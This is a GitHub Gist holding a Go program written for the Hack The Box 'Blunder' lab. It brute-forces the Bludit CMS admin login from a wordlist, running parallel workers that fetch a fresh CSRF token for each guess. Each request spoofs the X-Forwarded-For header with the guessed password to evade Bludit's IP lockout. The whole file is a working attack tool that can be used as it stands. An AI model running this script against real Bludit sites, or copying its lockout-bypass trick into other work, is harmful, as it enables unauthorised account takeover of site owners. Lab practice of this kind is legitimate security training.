Created
June 23, 2020 10:01
-
-
Save PalinuroSec/c11108a12fced3df2adb00efd0d85cba to your computer and use it in GitHub Desktop.
htb blunder bludit bruteforce
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"io" | |
"io/ioutil" | |
"net/http" | |
"net/url" | |
"os" | |
"strconv" | |
"strings" | |
"time" | |
"golang.org/x/net/html" | |
) | |
type result struct { | |
password string | |
err error | |
} | |
func main() { | |
if len(os.Args) <= 3 { | |
fmt.Printf("USAGE %s <target> <username> <wordlist> [workers]\n", os.Args[0]) | |
os.Exit(1) | |
} | |
server := os.Args[1] | |
user := os.Args[2] | |
wordlist := os.Args[3] | |
workers := 10 | |
if len(os.Args) == 3 { | |
workers, _ = strconv.Atoi(os.Args[4]) | |
} | |
fmt.Println("reading dictionary") | |
file, err := ioutil.ReadFile(wordlist) | |
if err != nil { | |
fmt.Printf("Can't open file: %s\n", err) | |
os.Exit(1) | |
} | |
pw := strings.Split(string(file), "\n") | |
pwchan := make(chan string, len(pw)) | |
res := make(chan result) | |
fmt.Println("starting workers") | |
for w := 0; w < workers; w++ { | |
go func(string, string, <-chan string, chan result) { | |
for pw := range pwchan { | |
time.Sleep(time.Millisecond * 100) | |
res <- req(server, user, pw) | |
} | |
}(server, user, pwchan, res) | |
} | |
fmt.Println("feeding workers") | |
for _, ii := range pw { | |
pwchan <- ii | |
} | |
fmt.Println("looting results") | |
for i := 0; i < len(pw); i++ { | |
result := <-res | |
if result.err != nil { | |
fmt.Printf("%d %s\n", i, result.err) | |
} | |
if result.password != "" { | |
fmt.Printf("PASSWORD FOUND: %s\n", result.password) | |
break | |
} | |
} | |
} | |
func req(server, user, password string) result { | |
client := http.Client{ | |
Timeout: time.Duration(30 * time.Second), | |
} | |
// retrieve CSRF token | |
csrf := "" | |
csrfRequest, err := http.Get(fmt.Sprintf("%s/admin/dashboard", server)) | |
if err != nil { | |
fmt.Printf("[WARNING] can't get CSRF token for %s: %s\n", password, err) | |
return result{password: "", err: fmt.Errorf("[WARNING] can't get CSRF token for %s: %v", password, err)} | |
} | |
defer csrfRequest.Body.Close() | |
// parse the body | |
csrfRoot, err := html.Parse(csrfRequest.Body) | |
if err != nil { | |
fmt.Printf("[WARNING] can't get CSRF token for %s: %s\n", password, err) | |
return result{password: "", err: fmt.Errorf("[WARNING] can't get CSRF token for %s: %v", password, err)} | |
} | |
// search for the jstokenCSRF id | |
csrfTag, ok := getElementByID("jstokenCSRF", csrfRoot) | |
if !ok { | |
fmt.Printf("[WARNING] CSRF token for %s not found\n", password) | |
return result{password: "", err: fmt.Errorf("[WARNING] CSRF token for %s not found", password)} | |
} | |
// extract the content of the "value" field | |
for _, i := range csrfTag.Attr { | |
if i.Key == "value" { | |
csrf = i.Val | |
} | |
} | |
form := url.Values{} | |
form.Add("tokenCSRF", csrf) | |
form.Add("username", user) | |
form.Add("password", password) | |
form.Add("save", "") | |
request, err := http.NewRequest("POST", fmt.Sprintf("%s/admin/dashboard", server), strings.NewReader(form.Encode())) | |
if err != nil { | |
fmt.Printf("[WARNING] can't build request for %s: %s\n", password, err) | |
return result{password: "", err: fmt.Errorf("[WARNING] can't build request for %s: %v", password, err)} | |
} | |
request.Header.Set("X-Forwarded-For", password) | |
request.Header.Set("User-Agent", "'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36") | |
request.Header.Set("Referer", fmt.Sprintf("%s/admin/dashboard", server)) | |
request.Header.Set("Content-Type", "application/x-www-form-urlencoded") | |
answer, err := client.Do(request) | |
if err != nil { | |
fmt.Printf("[WARNING] can't get answer for %s: %s\n", password, err) | |
return result{password: "", err: fmt.Errorf("[WARNING] can't get answer for %s: %v", password, err)} | |
} | |
defer answer.Body.Close() | |
if title, ok := getHTMLTitle(answer.Body); ok { | |
if title == "Bludit - Dashboard" { | |
return result{password: password, err: nil} | |
} | |
} | |
if password == "RolandDeschain" { | |
fmt.Println("\tPASSWORD TRIED") | |
} | |
fmt.Println(answer.StatusCode) | |
return result{password: "", err: fmt.Errorf("[INFO] tried password %s", password)} | |
} | |
func getElementByID(id string, n *html.Node) (element *html.Node, ok bool) { | |
for _, a := range n.Attr { | |
if a.Key == "id" && a.Val == id { | |
return n, true | |
} | |
} | |
for c := n.FirstChild; c != nil; c = c.NextSibling { | |
if element, ok = getElementByID(id, c); ok { | |
return | |
} | |
} | |
return | |
} | |
func isTitleElement(n *html.Node) bool { | |
return n.Type == html.ElementNode && n.Data == "title" | |
} | |
func traverse(n *html.Node) (string, bool) { | |
if isTitleElement(n) { | |
return n.FirstChild.Data, true | |
} | |
for c := n.FirstChild; c != nil; c = c.NextSibling { | |
result, ok := traverse(c) | |
if ok { | |
return result, ok | |
} | |
} | |
return "", false | |
} | |
func getHTMLTitle(r io.Reader) (string, bool) { | |
doc, err := html.Parse(r) | |
if err != nil { | |
panic("Fail to parse html") | |
} | |
return traverse(doc) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment